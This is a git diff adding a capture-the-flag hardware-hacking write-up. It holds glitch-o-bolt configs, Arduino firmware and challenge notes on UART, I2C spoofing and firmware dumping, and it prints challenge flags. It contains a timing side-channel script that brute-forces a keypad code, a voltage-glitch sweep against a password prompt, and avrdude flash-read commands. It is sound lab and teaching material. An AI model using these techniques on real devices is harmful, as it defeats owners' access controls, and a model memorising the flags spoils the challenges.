+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/docs/11_GoB.png b/docs/11_GoB.png
new file mode 100644
index 0000000..07f38ae
--- /dev/null
+++ b/docs/11_GoB.png
Binary files differ
diff --git a/docs/11_GoB_config.py b/docs/11_GoB_config.py
new file mode 100644
index 0000000..f7e8036
--- /dev/null
+++ b/docs/11_GoB_config.py
@@ -0,0 +1,123 @@
+import functions
+import threading
+import time
+
+###### Config values ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1000000
+UART_NEWLINE = "\n"
+
+LENGTH = 12
+REPEAT = 1
+DELAY = 0
+
+### name, enabled, string to match ###
+conditions = [
+ ['run', True, 'Password:', 'try_glitch'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+###### Custom functions ######
+def try_glitch():
+ Len = functions.get_config_value("length")
+ Rep = functions.get_config_value("repeat")
+ Del = functions.get_config_value("delay")
+ time.sleep(0.2)
+
+ tx_thread = threading.Thread(
+ target=functions.send_uart_message,
+ args=("aaaaaaaaaaaaaaaaaaaaa",),
+ daemon=True
+ )
+
+ glitch_thread = threading.Thread(
+ target=functions.start_glitch,
+ args=(Len, Rep, Del),
+ daemon=True
+ )
+
+ glitch_thread.start()
+ tx_thread.start()
+
+ try:
+ current_delay = int(Del)
+ except (ValueError, TypeError):
+ current_delay = 0
+
+ try:
+ current_repeat = int(Rep)
+ except (ValueError, TypeError):
+ current_repeat = 0
+
+ new_delay = current_delay + 1
+
+ if new_delay >= 51:
+ new_delay = 0
+ new_repeat = current_repeat + 1
+ if new_repeat >= 20:
+ new_repeat = 1
+ functions.set_config_value("repeat", new_repeat)
+
+ functions.set_config_value("delay", new_delay)
+
+
+def stop_glitch():
+ buf = functions.read_uart_buffer()
+
+ if "TS{D@mn_y0u_@r3_g006}" in buf:
+ functions.start_glitch(16, 1, 0)
+ else:
+ functions.set_condition_value(0, False)
+ functions.set_uart_switch(False)
+
+
+###### Inactivity watchdog ######
+def config_inactivity_monitor(timeout=5):
+ """
+ Monitor 'delay' and 'repeat' configuration values.
+ Restart device if they do not change for 'timeout' seconds
+ AND condition 0 remains True.
+ """
+ # Wait for functions.config to be initialised
+ while True:
+ try:
+ _ = functions.get_config_value("delay")
+ break
+ except AttributeError:
+ print("[Watchdog] Waiting for configuration to initialise...")
+ time.sleep(1)
+
+ last_delay = functions.get_config_value("delay")
+ last_repeat = functions.get_config_value("repeat")
+ last_change_time = time.time()
+
+ while True:
+ try:
+ current_delay = functions.get_config_value("delay")
+ current_repeat = functions.get_config_value("repeat")
+ condition_active = functions.get_condition_value(0)
+
+ if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
+ last_change_time = time.time()
+ last_delay = current_delay
+ last_repeat = current_repeat
+
+ if condition_active and (time.time() - last_change_time > timeout):
+ print("[Watchdog] Inactivity detected. Restarting glitch...")
+ functions.start_glitch(16, 1, 0)
+ last_change_time = time.time()
+
+ except Exception as e:
+ print(f"[Watchdog Error] {e}")
+
+ time.sleep(1)
+
+
+# Start watchdog thread after slight delay to allow initialisation
+def start_watchdog():
+ time.sleep(2) # ensures 'functions.config' is ready
+ monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
+ monitor_thread.start()
+
+
+threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/docs/11_glitch_wrong_flag.png b/docs/11_glitch_wrong_flag.png
new file mode 100644
index 0000000..8d57b59
--- /dev/null
+++ b/docs/11_glitch_wrong_flag.png
Binary files differ
diff --git a/docs/11_logic.png b/docs/11_logic.png
new file mode 100644
index 0000000..c7de52c
--- /dev/null
+++ b/docs/11_logic.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
